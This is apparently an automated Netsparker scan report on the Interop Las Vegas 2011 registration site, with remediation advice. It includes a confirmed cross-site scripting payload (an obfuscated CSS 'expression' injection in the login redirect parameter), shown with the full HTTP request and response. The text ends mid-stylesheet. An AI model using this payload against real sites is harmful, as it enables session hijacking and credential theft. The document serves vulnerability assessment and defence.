Loading
interop.techweb.com DORK REPORT SUMMARY
Netsparker - DORK Report Summary
TARGET URL
https://interop.reg.techweb.com/lasvegas/2011...
DORK DATE
4/14/2011 1:39:05 PM
REPORT DATE
4/14/2011 1:57:11 PM
DORK DURATION
00:07:03
Total Requests
Average Speed
req/sec.
7
identified
4
confirmed
0
critical
1
informational
GHDB, DORK Tests
GHDB, DORK Tests
PROFILE
Previous Settings
ENABLED ENGINES
Blind SQL Injection, Boolean SQL Injection, SQL Injection, Cross-site Scripting
Authentication
Scheduled
VULNERABILITIES
Vulnerabilities
Cross-site Scripting
Cross-site Scripting
XSS (Cross-site Scripting) allows an attacker to execute a dynamic script (
Javascript, VbScript ) in the context of the application. This allows several different attack opportunities, mostly hijacking the current session of the user or changing the look of the page by changing the HTML on the fly to steal the user's credentials. This happens because the input entered by a user has been interpreted as HTML/Javascript/VbScript by the browser.
XSS targets the users of the application instead of the server. Although this is a limitation, since it allows attackers to hijack other users' session, an attacker might attack an administrator to gain full control over the application.
Impact
There are many different attacks that can be leveraged through the use of XSS, including:
Hi-jacking users' active session
Changing the look of the page within the victims browser.
Mounting a successful phishing attack.
Intercept data and perform man-in-the-middle attacks.
The issue occurs because the browser interprets the input as active HTML, Javascript or VbScript. To avoid this, all input and output from the application should be filtered. Output should be filtered according to the output format and location. Typically the output location is HTML. Where the output is HTML ensure that all active content is removed prior to its presentation to the server.
Prior to sanitizing user input, ensure you have a pre-defined list of both expected and acceptable characters with which you populate a white-list. This list needs only be defined once and should be used to sanitize and validate all subsequent input.
There are a number of pre-defined, well structured white-list libraries available for many different environments, good examples of these include, OWASP Reform and Microsoft Anti Cross-site Scripting libraries are good examples.
External References
- /lasvegas/2011/login/index
/lasvegas/2011/login/index
CONFIRMED
Parameters
Parameter
Type
Value
request
POST
42de1ccd9de849fd8d57a7274f300784
redirect
POST
' stYle=x:expre/**/ssion(alert(9)) ns='
user
POST
3
password
POST
3
rememberMe
POST
1
Request
POST /lasvegas/2011/login/index HTTP/1.1 Referer: https://interop.reg.techweb.com/lasvegas/2011/Registrations?__utma=1.1510423720.1302790871.1302790871.1302790871.2&__utmb=1.0.10.1302790871&__utmc=1&__utmx=1.&__utmz=1.1302790871.1.1.utmcsr=(direct)%7Cutmccn=(direct)%7Cutmcmd=(none)&__utmv=-&__utmk=244538373 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322) Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Host: interop.reg.techweb.com Cookie: timeCheck=1302806336; 9496f8d4091a2efb369e8b7a83e501c3=6727g2o8ij8e1e24h33nv9p2v6; BNI__BARRACUDA_LB_COOKIE=0c64a8c000005000 Content-Length: 136 Accept-Encoding: gzip, deflate request=42de1ccd9de849fd8d57a7274f300784&redirect='+stYle%3dx%3aexpre%2f**%2fssion(netsparker(9))+ns%3d'+&user=3&password=3&rememberMe=1
Response
HTTP/1.1 200 OK Date: Thu, 14 Apr 2011 18:44:20 GMT Server: Apache/2.2.3 (Red Hat) X-Powered-By: PHP/5.2.9 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Content-Length: 5435 Content-Type: text/html; charset=UTF-8 Set-Cookie: BNI__BARRACUDA_LB_COOKIE=0c64a8c000005000; Path=/; Max-age=86400 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html><head> <title>Interop Las Vegas 2011</title> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> <link rel="stylesheet" href="/assets/jquery/ip-ui/jquery-ui-1.8.6.custom.css" type="text/css" media="screen" /><link rel="stylesheet" href="/assets/scripts/IP.css" type="text/css" media="screen" /><script type="text/javascript" src="/assets/jquery/jquery-1.4.4.min.js"></script><script type="text/javascript" src="/assets/jquery/jquery-ui-1.8.6.min.js"></script><script type="text/javascript" src="/assets/scripts/rememberLoginEmail.js"></script><script type="text/javascript" src="/assets/scripts/IP.js"></script><link rel="stylesheet" href="/assets/scripts/print.css" media="print" /><script type="text/javascript">jQuery(document).ready(function() {//<![CDATA[IP.RootUrl = "";IP.AssetsUrl = "\/assets";IP.BaseUrl = "\/lasvegas\/2011";IP.CurrentURL = "\/lasvegas\/2011\/login\/index";IP.Images = {"add":"\/assets\/famfamfam\/add.png","delete":"\/assets\/famfamfam\/delete.png","edit":"\/assets\/famfamfam\/shape_square_edit.png","move":"\/assets\/famfamfam\/arrowMove.png"};IP.requiredSymbol = " <span class=\"requiredSymbolClass\">•<\/span>";IP.requiredSymbolPlaceHolder = " <span class=\"notRequiredSymbolClass\">•<\/span>";IP.Images.getObject = function(imageType) { var img = jQuery('<img />'); if (this[imageType]) { img.attr('src', this[imageType]); } return img;}; var cssInline = { 'display':'inline-block' } //This is to align the checkboxes and radio boxes /* jQuery('.ip-elementContent').each(function (i) { if(jQuery(this).children(":radio").length > 0 || jQuery(this).children(":checkbox").length >0) { jQuery(this).css(cssInline); } }); */IP.Translate.setTranslations({"Save":"Save","Cancel":"Cancel","Previous":"Previous","Next":"Next","Yes":"Yes","No":"No","Ok":"Ok","Close":"Close","Ignore":"Ignore","-- Select One --":"-- Select One --"});IP.MessageBroker.SUCCESS = 1;IP.MessageBroker.WARNING = 2;IP.MessageBroker.ERROR = 3;IP.MessageBroker.NOTICE = 4;IP.MessageBroker.classes[IP.MessageBroker.SUCCESS] = "success";IP.MessageBroker.classes[IP.MessageBroker.WARNING] = "warning";IP.MessageBroker.classes[IP.MessageBroker.ERROR] = "error";IP.MessageBroker.classes[IP.MessageBroker.NOTICE] = "notice";IP.Filter.joinType = {};IP.Filter.joinType.and = "and";IP.Filter.joinType.or = "or";IP.Filter.joinType.xor = "xor";});//]]></script> </head><body id="public" class="index_login_index"><div class="IP_Messages"><div class="message error">The following error(s) occurred:<br /><ul><li><label for="request">The two given tokens do not match</label></li></ul></div></div><form enctype="application/x-www-form-urlencoded" action="/lasvegas/2011/login/index" method="post"><div class="ip-container"><div class="ip-element"><label for="request" class="ip-elementLabel required ip-elementLabel errorFieldLabel">Request Token<span class="requiredSymbol" isRequired=1> <span class="requiredSymbolClass">•</span></span><span class="requiredSymbol"> <span class="notRequiredSymbolClass">•</span></span></label><span class="ip-elementContent clearfix"><input type="hidden" name="request" value="1b0a16ccd0aed4d5488384f9557929ee" id="request" /></span></div><div class="ip-element"><span class="ip-elementContent clearfix"><input type="hidden" name="redirect" value="' stYle=x:expre/**/ssion(netsparker(9)) ns='" id="redirect" /></span></div><div class="ip-element"><label for="user" class="ip-elementLabel required ip-elementLabel">Email<span class="requiredSymbol" isRequired=1> <span class="requiredSymbolClass">•</span></span><span class="requiredSymbol"> <span class="notRequiredSymbolClass">•</span></span></label><span class="ip-elementContent clearfix"><input type="text" name="user" id="user" value="3" class="ip-formText" /></span></div><div class="ip-element"><label for="password" class="ip-elementLabel required ip-elementLabel">Password<span class="requiredSymbol" isRequired=1> <span class="requiredSymbolClass">•</span></span><span class="requiredSymbol"> <span class="notRequiredSymbolClass">•</span></span></label><span class="ip-elementContent clearfix"><input type="password" name="password" id="password" value="" class="ip-formPassword" /><p class="description"><br clear="left"/><a href = /lasvegas/2011/login/forgotpassword/redirect/' stYle=x:expre/**/ssion(netsparker(9)) ns='> Forgot Password? </a></p></span></div><div class="ip-element"><label for="rememberMe" class="ip-elementLabel optional ip-elementLabel">Remember e-mail login<span class="requiredSymbol"> <span class="notRequiredSymbolClass">•</span></span></label><span class="ip-elementContent clearfix"><input type="hidden" name="rememberMe" value="0" /><input type="checkbox" name="rememberMe" id="rememberMe" value="1" checked="checked" /></span></div></div><div class="ip-element"><div class="ip-buttonBar clearfix"><div class="ip-button ip-button-submit"><a href="#" onclick="jQuery(this).parents('form').trigger('IP.preSubmit'); jQuery(this).parents('form').trigger('submit'); IP.cancelLink();" >Login</a><input type="submit" img="/assets/images/spacer.gif"></div></div></div></form></body></html>
Cookie Not Marked As Secure
Cookie Not Marked As Secure
A Cookie was not marked as secure and transmitted over HTTPS. This means the cookie could potentially be stolen by an attacker who can successfully intercept and decrypt the traffic or following a successful MITM (
Man in the middle ) attack.
Impact
This cookie will be transmitted over a HTTP connection, therefore if this cookie is important (such as a session cookie ) an attacker might intercept it and hijack a victim's session. If the attacker can carry out a MITM attack, he/she can force victim to make a HTTP request to steal the cookie.
Actions to Take
See the remedy for solution.
Mark all cookies used within the application as secure. (If the cookie is not related to authentication or does not carry any personal information you do not have to mark it as secure. ))
Mark all cookies used within the application as secure.
Required Skills for Successful Exploitation
To exploit this issue, the attacker needs to be able to intercept traffic. This generally requires local access to the web server or victim's network. Attackers need to be understand layer 2, have physical access to systems either as way points for the traffic, or locally (have gained access to ) to a system between the victim and the web server.
- /lasvegas/2011/login/forgotpassword/controllerName/Registrations
/lasvegas/2011/login/forgotpassword/controllerName/Registrations
CONFIRMED
BNI__BARRACUDA_LB_COOKIE
Request
GET /lasvegas/2011/login/forgotpassword/controllerName/Registrations HTTP/1.1 Referer: https://interop.reg.techweb.com/lasvegas/2011/Registrations?__utma=1.1510423720.1302790871.1302790871.1302790871.2&__utmb=1.0.10.1302790871&__utmc=1&__utmx=1.&__utmz=1.1302790871.1.1.utmcsr=(direct)%7Cutmccn=(direct)%7Cutmcmd=(none)&__utmv=-&__utmk=244538373 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322) Cache-Control: no-cache Host: interop.reg.techweb.com Cookie: timeCheck=1302806336; 9496f8d4091a2efb369e8b7a83e501c3=lgdk8av5u3opushhd2imrstn67; BNI__BARRACUDA_LB_COOKIE=0c64a8c000005000 Accept-Encoding: gzip, deflate
Response
HTTP/1.1 200 OK Date: Thu, 14 Apr 2011 18:38:56 GMT Server: Apache/2.2.3 (Red Hat) X-Powered-By: PHP/5.2.9 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Content-Length: 3958 Content-Type: text/html; charset=UTF-8 Set-Cookie: BNI__BARRACUDA_LB_COOKIE=0c64a8c000005000; Path=/; Max-age=86400 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html><head> <title>Interop Las Vegas 2011</title> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> <link rel="stylesheet" href="/assets/jquery/ip-ui/jquery-ui-1.8.6.custom.css" type="text/css" media="screen" /><link rel="stylesheet" href="/assets/scripts/IP.css" type="text/css" media="screen" /><script type="text/javascript" src="/assets/jquery/jquery-1.4.4.min.js"></script><script type="text/javascript" src="/assets/jquery/jquery-ui-1.8.6.min.js"></script><script type="text/javascript" src="/assets/scripts/IP.js"></script><link rel="stylesheet" href="/assets/scripts/print.css" media="print" /><script type="text/javascript">jQuery(document).ready(function() {//<![CDATA[IP.RootUrl = "";IP.AssetsUrl = "\/assets";IP.BaseUrl = "\/lasvegas\/2011";IP.CurrentURL = "\/lasvegas\/2011\/login\/forgotpassword\/controllerName\/Registrations";IP.Images = {"add":"\/assets\/famfamfam\/add.png","delete":"\/assets\/famfamfam\/delete.png","edit":"\/assets\/famfamfam\/shape_square_edit.png","move":"\/assets\/famfamfam\/arrowMove.png"};IP.requiredSymbol = " <span class=\"requiredSymbolClass\">•<\/span>";IP.requiredSymbolPlaceHolder = " <span class=\"notRequiredSymbolClass\">•<\/span>";IP.Images.getObject = function(imageType) { var img = jQuery('<img />'); if (this[imageType]) { img.attr('src', this[imageType]); } return img;}; var cssInline = { 'display':'inline-block' } //This is to align the checkboxes and radio boxes /* jQuery('.ip-elementContent').each(function (i) { if(jQuery(this).children(":radio").length > 0 || jQuery(this).children(":checkbox").length >0) { jQuery(this).css(cssInline); } }); */IP.Translate.setTranslations({"Save":"Save","Cancel":"Cancel","Previous":"Previous","Next":"Next","Yes":"Yes","No":"No","Ok":"Ok","Close":"Close","Ignore":"Ignore","-- Select One --":"-- Select One --"});IP.MessageBroker.SUCCESS = 1;IP.MessageBroker.WARNING = 2;IP.MessageBroker.ERROR = 3;IP.MessageBroker.NOTICE = 4;IP.MessageBroker.classes[IP.MessageBroker.SUCCESS] = "success";IP.MessageBroker.classes[IP.MessageBroker.WARNING] = "warning";IP.MessageBroker.classes[IP.MessageBroker.ERROR] = "error";IP.MessageBroker.classes[IP.MessageBroker.NOTICE] = "notice";IP.Filter.joinType = {};IP.Filter.joinType.and = "and";IP.Filter.joinType.or = "or";IP.Filter.joinType.xor = "xor";});//]]></script> </head><body id="public" class="index_login_forgotpassword"><div class="IP_Messages"></div><p>Enter your email address to reset your password.</p><form enctype="application/x-www-form-urlencoded" action="/lasvegas/2011/login/forgotpassword" method="post"><div class="ip-container"><div class="ip-element"><span class="ip-elementContent clearfix"><input type="hidden" name="request" value="05375696cbea9767033785f21b3b9de8" id="request" /></span></div><div class="ip-element"><span class="ip-elementContent clearfix"><input type="hidden" name="redirect" value="Registrations" id="redirect" /></span></div><div class="ip-element"><label for="email" class="ip-elementLabel required ip-elementLabel">Email<span class="requiredSymbol" isRequired=1> <span class="requiredSymbolClass">•</span></span><span class="requiredSymbol"> <span class="notRequiredSymbolClass">•</span></span></label><span class="ip-elementContent clearfix"><input type="text" name="email" id="email" value="" class="ip-formText" /></span></div></div><div class="ip-element"><div class="ip-buttonBar clearfix"><div class="ip-button ip-button-submit"><a href="#" onclick="jQuery(this).parents('form').trigger('IP.preSubmit'); jQuery(this).parents('form').trigger('submit'); IP.cancelLink();" >Reset Password</a><input type="submit" img="/assets/images/spacer.gif"></div></div></div></form></body></html>
Auto Complete Enabled
Auto Complete Enabled
"Auto Complete" was enabled in one or more of the form fields. These were either "password" fields or important fields such as "Credit Card".
Impact
Data entered in these fields will be cached by the browser. An attacker who can access the victim's browser could steal this information. This is especially important if the application is commonly used in shared computers such as cyber cafes or airport terminals.
Add the attribute autocomplete="off"
to the form tag or to individual "input" fields.
Actions to Take
See the remedy for the solution.
Find all instances of inputs which store private data and disable autocomplete. Fields which contain data such as "Credit Card" or "CCV" type data should not be cached. You can allow the application to cache usernames and remember passwords, however, in most cases this is not recommended.
Re-DORK the application after addressing the identified issues to ensure that all of the fixes have been applied properly.
Required Skills for Successful Exploitation
Dumping all data from a browser can be fairly easy and there exist a number of automated tools to undertake this. Where the attacker cannot dump the data, he/she could still browse the recently visited websites and activate the auto-complete feature to see previously entered values.
External References
- /lasvegas/2011/Registrations
/lasvegas/2011/Registrations
CONFIRMED
password
Request
GET /lasvegas/2011/Registrations?__utma=1.1510423720.1302790871.1302790871.1302790871.2&__utmb=1.0.10.1302790871&__utmc=1&__utmx=1.&__utmz=1.1302790871.1.1.utmcsr=(direct)%7Cutmccn=(direct)%7Cutmcmd=(none)&__utmv=-&__utmk=244538373 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322) Cache-Control: no-cache Host: interop.reg.techweb.com Accept-Encoding: gzip, deflate Connection: Keep-Alive
Response
HTTP/1.1 200 OK Date: Thu, 14 Apr 2011 18:38:55 GMT Server: Apache/2.2.3 (Red Hat) X-Powered-By: PHP/5.2.9 Set-Cookie: 9496f8d4091a2efb369e8b7a83e501c3=lgdk8av5u3opushhd2imrstn67; path=/; secure,BNI__BARRACUDA_LB_COOKIE=0c64a8c000005000; Path=/; Max-age=86400 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Keep-Alive: timeout=1, max=82 Connection: Keep-Alive Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html><head> <title>Interop Las Vegas 2011</title> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> <link rel="stylesheet" href="/assets/jquery/ip-ui/jquery-ui-1.8.6.custom.css" type="text/css" media="screen" /><link rel="stylesheet" href="/assets/scripts/IP.css" type="text/css" media="screen" /><script type="text/javascript" src="/assets/jquery/jquery-1.4.4.min.js"></script><script type="text/javascript" src="/assets/jquery/jquery-ui-1.8.6.min.js"></script><script type="text/javascript" src="/assets/scripts/rememberLoginEmail.js"></script><script type="text/javascript" src="/assets/scripts/IP.js"></script><link rel="stylesheet" href="/assets/scripts/print.css" media="print" /><script type="text/javascript">jQuery(document).ready(function() {//<![CDATA[IP.RootUrl = "";IP.AssetsUrl = "\/assets";IP.BaseUrl = "\/lasvegas\/2011";IP.CurrentURL = "\/lasvegas\/2011\/Registrations?__utma=1.1510423720.1302790871.1302790871.1302790871.2&__utmb=1.0.10.1302790871&__utmc=1&__utmx=1.&__utmz=1.1302790871.1.1.utmcsr=(direct)%7Cutmccn=(direct)%7Cutmcmd=(none)&__utmv=-&__utmk=244538373";IP.Images = {"add":"\/assets\/famfamfam\/add.png","delete":"\/assets\/famfamfam\/delete.png","edit":"\/assets\/famfamfam\/shape_square_edit.png","move":"\/assets\/famfamfam\/arrowMove.png"};IP.requiredSymbol = " <span class=\"requiredSymbolClass\">•<\/span>";IP.requiredSymbolPlaceHolder = " <span class=\"notRequiredSymbolClass\">•<\/span>";IP.Images.getObject = function(imageType) { var img = jQuery('<img />'); if (this[imageType]) { img.attr('src', this[imageType]); } return img;}; var cssInline = { 'display':'inline-block' } //This is to align the checkboxes and radio boxes /* jQuery('.ip-elementContent').each(function (i) { if(jQuery(this).children(":radio").length > 0 || jQuery(this).children(":checkbox").length >0) { jQuery(this).css(cssInline); } }); */IP.Translate.setTranslations({"Save":"Save","Cancel":"Cancel","Previous":"Previous","Next":"Next","Yes":"Yes","No":"No","Ok":"Ok","Close":"Close","Ignore":"Ignore","-- Select One --":"-- Select One --"});IP.MessageBroker.SUCCESS = 1;IP.MessageBroker.WARNING = 2;IP.MessageBroker.ERROR = 3;IP.MessageBroker.NOTICE = 4;IP.MessageBroker.classes[IP.MessageBroker.SUCCESS] = "success";IP.MessageBroker.classes[IP.MessageBroker.WARNING] = "warning";IP.MessageBroker.classes[IP.MessageBroker.ERROR] = "error";IP.MessageBroker.classes[IP.MessageBroker.NOTICE] = "notice";IP.Filter.joinType = {};IP.Filter.joinType.and = "and";IP.Filter.joinType.or = "or";IP.Filter.joinType.xor = "xor";});//]]></script><script type="text/javascript">//<![CDATA[$(document).ready(function() { jQuery("input[name=\"vhLeJi62\"]").uniqueEmail({"controllerUrl":"\/lasvegas\/2011\/index\/Registrations\/","verifiedEmail":null}); IP.Filter.bindContainer(jQuery("div[pagebuilder_layout]"));IP.Filter.checkAllTargets();});IP.Filter.addTarget("ipgMpQ45" ,"[unique_id=eAXWJA96]" ,"and"); IP.Filter.addTarget("tMzsxY25" ,"[unique_id=lyNnYd98]" ,"and"); IP.Filter.addTarget("sxrmIo68" ,"[unique_id=vhLeJi62]" ,"and"); IP.Filter.addTarget("EMDUDc49" ,"[unique_id=fvuhSN21]" ,"and"); IP.Filter.addTarget("qGAdiD25" ,"[unique_id=QeHtCy13]" ,"and"); IP.Filter.addTarget("heqKgM69" ,"[unique_id=ptDVXt43]" ,"and"); IP.Filter.addTarget("HWgABU98" ,"[unique_id=EQSUfR75]" ,"and"); IP.Filter.addTarget("AyVIbg10" ,"[unique_id=ObPCNq17]" ,"and"); IP.Filter.addTarget("rnjyZQ36" ,"[unique_id=THqFxi51]" ,"and"); IP.Filter.addTarget("EcCGiM68" ,"[unique_id=jypvpK68]" ,"and"); IP.Filter.addTarget("JwrbJo50" ,"[unique_id=mKAKqW38]" ,"and");//]]></script> </head><body id="public" class="index_registrations_index"><script> _udn = "none"; _uhash = "off"; </script><!-- Google Website Optimizer Control Script --><script> function utmx_section(){}function utmx(){} (function(){var k='0700847492',d=document,l=d.location,c=d.cookie;function f(n){ if(c){var i=c.indexOf(n+'=');if(i>-1){var j=c.indexOf(';',i);return c.substring(i+n. length+1,j<0?c.length:j)}}}var x=f('__utmx'),xx=f('__utmxx'),h=l.hash; d.write('<sc'+'ript src="'+ 'http'+(l.protocol=='https:'?'s://ssl':'://www')+'.google-analytics.com' +'/siteopt.js?v=1&utmxkey='+k+'&utmx='+(x?x:'')+'&utmxx='+(xx?xx:'')+'&utmxtime=' +new Date().valueOf()+(h?'&utmxhash='+escape(h.substr(1)):'')+ '" type="text/javascript" charset="utf-8"></sc'+'ript>')})(); </script><!-- End of Google Website Optimizer Control Script --><script type="text/javascript"> var _gaq = _gaq || []; _gaq.push(['_setAccount', 'UA-1310215-9']); _gaq.push(['_setDomainName','none']); _gaq.push(['_setAllowLinker',true]); _gaq.push(['_setAllowHash',false]); if ( typeof(utmx) != 'undefined' && utmx('combination') != undefined) { _gaq.push(['_setCustomVar',1,'gwo-lv-variation',utmx('combination'),2]); } _gaq.push(['_trackPageview']); (function() { var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true; ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js'; var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s); })(); </script> <p><style media="screen, projection, print" type="text/css"> * { font-family: 'Segoe UI', Arial, Verdana, sans-serif !important; } /* Defeat default CSS from https://web.ubm.aetherquest.com/assets/scripts/IP.css */ .force-clear { clear: both; } .packageName { font-weight: bold; } .packageDescription { font-style: italic; padding-bottom: 15px; } input.IE7_Radio { margin: 3px 6px 0px 0px; } /* some spacing for the radio buttons on Packages */ *:first-child+html #public.index_registrations_profile .IE7_Radio, *:first-child+html #public.index_registrations_demographics .IE7_Radio, *:first-child+html #public.index_registrations_housing .IE7_Radio, *:first-child+html #public.index_registrations_review .IE7_Radio, *:first-child+html #public.index_registrations_payment .IE7_Radio, *:first-child+html #public.index_registrations_packages .IE7_Radio, *:first-child+html #public.index_registrations_hotel .IE7_Radio { width: 50px !important; } td.packageRadio { *text-align: right !important; } div.ip-button a { background-color: #666666; text-decoration: none; } div.ip-button a:hover { background-color: #666666; text-decoration: underline; } div.ip-button.ip-button-submit a { background-color: #1568AE; } div.ip-button.ip-button-submit a:hover { background-color: #357EC2; } div.ip-button.ip-button-cancel a { background-color: #B6B3AB; } div.ip-button.ip-button-cancel a:hover { background-color: #B6B3AB; } /* Begin progress bar */ #centeredmenu { background-color: #cccccc; border: 1px solid #666666; clear: both; float: left; font-size: .9em; *padding-bottom: 5px !important; -moz-border-radius: 10px; -webkit-border-radius: 10px; -khtml-border-radius: 10px; border-radius: 10px; overflow-x: visible; overflow-y: visible; position: relative; width: auto; } #centeredmenu ul { left: 0%; margin: 0px !important; padding: 0px !important; } #centeredmenu ul li { display: block; float: left; list-style-type: none; list-style-image: none; list-style-position: outside; margin: 0px !important; padding: 0px !important; position: relative; right: 0%; } ul#progress li, ul#progress li span { float: left; list-style-type: none; } ul#progress span { color: #666666; } ul#progress li span { padding: 6px 0px 0px 19px !important; } ul#progress li.currentStep { background-color: white !important; -moz-border-radius: 5px; -webkit-border-radius: 5px; -khtml-border-radius: 5px; border-radius: 5px; } ul#progress li.currentStep span { border: none; *margin-bottom: 5px; } ul#progress li { background: transparent url('/eventAssets/intero_lasvegas_2011_100908200353/image/stepNumber.gif') no-repeat 6px 7px; margin: 5px !important; padding: 5px !important; } ul#progress li#step2 { background: transparent url('/eventAssets/intero_lasvegas_2011_100908200353/image/stepNumber.gif') no-repeat 6px -27px; } ul#progress li#step3 { background: transparent url('/eventAssets/intero_lasvegas_2011_100908200353/image/stepNumber.gif') no-repeat 6px -61px; } ul#progress li#step4 { background: transparent url('/eventAssets/intero_lasvegas_2011_100908200353/image/stepNumber.gif') no-repeat 6px -94px; } ul#progress li#step5 { background: transparent url('/eventAssets/intero_lasvegas_2011_100908200353/image/stepNumber.gif') no-repeat 6px -128px; } ul#progress li#step6 { background: transparent url('/eventAssets/intero_lasvegas_2011_100908200353/image/stepNumber.gif') no-repeat 6px -161px; } ul#progress li#step7 { background: transparent url('/eventAssets/intero_lasvegas_2011_100908200353/image/stepNumber.gif') no-repeat 6px -193px; } ul#progress li#step8 { background: transparent url('/eventAssets/intero_lasvegas_2011_100908200353/image/stepNumber.gif') no-repeat 6px -226px; } ul#progress li#step9 { background: transparent url('/eventAssets/intero_lasvegas_2011_100908200353/image/stepNumber.gif') no-repeat 6px -259px; } /* End progress bar */ .disclaimer { clear: left; color: #666666; font-size: .9em; line-height: 1.1em; margin-bottom: 10px; padding-left: 10px; } .disclaimer a { text-decoration: none; } .disclaimer a:hover {text-decoration: underline; } /* End EV2-specific CSS - begin the theme... */ html, body, #header, #headerContent, #mainMenu, #mainMenu ul, #columnOne, #columnTwo, #columnThree, #advertisements { margin: 0px; padding: 0px; } body { background-color: white; color: #292929; font-family: Helvetica, Arial, Verdana, sans-serif; font-size: .9em; } a, a:visited { color: #296490; } a:hover, a:active { color: #427A9B; text-decoration: none; } h1, h2, h3 { color: #292929; font-family: Helvetica, Arial, sans-serif; font-weight: bold; } h1, h2 { letter-spacing: -0.05em; } h3 { letter-spacing: -0.04em; } hr { border: 1px solid #999999; margin: 0px !important; padding: 0px !important; } iframe { margin: 0px 0px 0px 12px; } sup { font-size: .7em; } #breadCrumb { font-size: 80%; margin: 10px 0px 6px 0px; } #breadCrumb a { color: #444444 !important; text-decoration: none; } #breadCrumb a:hover { color: #666666 !important; text-decoration: underline; } img.landscape { border: 1px solid #cccccc; float: right; margin-bottom: 3px; margin-left: 3px; padding: 3px; width: 200px; } .backToTop { text-align: right; } .centered { margin: auto; padding: 0px; text-align: center; } .clear { clear: both; margin: 0px; padding: 0px; } .more { text-align: right; } .noTopMargin { margin-top: 0px !important; padding-top: 0px !important; } .noBottomMargin { margin-bottom: 0px !important; padding-bottom: 0px !important; } .small { font-size: .8em; } /* HEADER ********************************************************** */ #wrapper { margin: 0px auto; min-height: inherit; padding: 20px 0px 0px 0px; } #headerContent, #headerMessage, #mainMenu, #wrapper { width: 999px; } #header { background: transparent url('/eventAssets/intero_lasvegas_2011_100908200353/header-splash.jpg') no-repeat bottom center; height: 168px; } #header, #headerContent { margin: 0px auto; } #headerContent { background: transparent url('/eventAssets/intero_lasvegas_2011_100908200353/header-bg.png') repeat-x top left; color: white; font-family: Helvetica, Arial, sans-serif; font-size: 1.2em; height: 49px; letter-spacing: 2px; padding: 13px 21px 0px 47px; text-transform: uppercase; vertical-align: middle; width: 931px; } #headerContent #logo { background: transparent url('/eventAssets/intero_lasvegas_2011_100908200353/header-logo.png') no-repeat top right; margin-top: -4px; *margin-top: -23px; float: right; } #headerContent #logo, #headerContent #logo img { height: 29px; width: 183px; } #headerContent #logo img { /*border: 1px solid red;*/ display: block; margin: 0px; } /* The floating transparent image overlaid on the logo. Links to homepage. */ #headerMessage { background-color: #faf4d0; border-bottom: 2px solid black; display: none; font-size: 20px; height: 32px; margin: 0px auto; padding-top: 5px; text-align: center; vertical-align: middle; } #headerMessage a { color: #FF0000; } /* MAIN MENU ********************************************************** */ #mainMenu { background: transparent url('/eventAssets/intero_lasvegas_2011_100908200353/nav-bg.png') repeat-x top left; display: block; height: 37px; margin: 0px auto; } /*** ESSENTIAL STYLES - menu uses suckerfish, see header for Javascript includes needed (jquery.js, hoverIntent.js, superfish.js) ***/ .sf-menu, .sf-menu * { list-style: none; margin: 0; padding: 0; } .sf-menu { line-height: 1.0; } .sf-menu ul { position: absolute; top: -999em; width: 15em; /* left offset of submenus need to match (see below) */ } .sf-menu ul li { width: 100%; } .sf-menu li:hover { visibility: inherit; /* fixes IE7 'sticky bug' */ } .sf-menu li { float: left; position: relative; } .sf-menu a { display: block; position: relative; } .sf-menu li:hover ul, .sf-menu li.sfHover ul { left: 0; top: 3.08em; /* match top ul list item height */ z-index: 99; } ul.sf-menu li:hover li ul, ul.sf-menu li.sfHover li ul { top: -999em; } ul.sf-menu li li:hover ul, ul.sf-menu li li.sfHover ul { left: 15em;/* match ul width */ top: 0; } ul.sf-menu li li:hover li ul, ul.sf-menu li li.sfHover li ul { top: -999em; } ul.sf-menu li li li:hover ul, ul.sf-menu li li li.sfHover ul { left: 15em;/* match ul width */ top: 0; } /*** SKIN ***/ .sf-menu { float: left; font-size: .8em; margin-bottom: 1em; *z-index: 99999 !important; } .sf-menu a { border-left: 1px solid #C1C1C1; padding: 1em .75em; text-decoration: none; } .sf-menu li:first-child a { border-left: none; } /* first top level link gets no border */ .sf-menu a, .sf-menu a:visited { /* visited pseudo selector so IE6 applies text colour*/ color: #292929; font-weight: bold; } .sf-menu a:hover { color: #464646; text-decoration: none; } /* Hover styles for top level links */ .sf-menu li { /*background: #671940;*/ } .sf-menu li ul { opacity: 0.95; /* CSS3 */ -moz-opacity: 0.95; /* Firefox */ filter: alpha(opacity=95); /* IE6 */ } .sf-menu li li { background: #E4E4E4; border-bottom: 1px solid white; } /* Base colors for sub-menu items */ .sf-menu li li:first-child a { border-left: 1px solid #C1C1C1; } /* Re-establish left borders for first links in child ULs */ .sf-menu li li a, .sf-menu li li a:visited { /*color: #671940;*/ } .sf-menu li li li { } .sf-menu li:hover, .sf-menu li.sfHover, .sf-menu a:focus, .sf-menu a:hover, .sf-menu a:active { background-color: #E4E4E4; outline: 0; } /* Hover color for top level items */ .sf-menu li li a, .sf-menu li li a:visited { color: /*#016559*/#296490; } /* Color for sub-items */ .sf-menu li li a:hover, .sf-menu li:hover li:hover { background-color: #EEEEEE; color: /*#292929*/#427A9B; } /* Hover colors for sub-items */ /*** arrows **/ .sf-menu a.sf-with-ul { padding-right: 1.9em; 